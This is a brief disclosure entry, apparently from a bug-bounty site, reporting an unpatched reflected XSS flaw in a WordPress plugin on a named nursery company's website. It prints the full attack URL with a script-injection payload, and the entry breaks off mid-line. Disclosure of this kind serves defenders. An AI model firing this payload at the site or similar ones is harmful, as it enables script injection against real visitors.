twinlakesnurseryltd.com XSS vulnerability

Vulnerable URL: http://twinlakesnurseryltd.com/wp-content/plugins/trees/popup.php?t=10=%22/%3E%3Cscript%3EalertString.fromCharCode79,80,69,78,66,85,71,66,79,85,78,84,89;%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 02.10.2017 Vulnerability type:| XSS...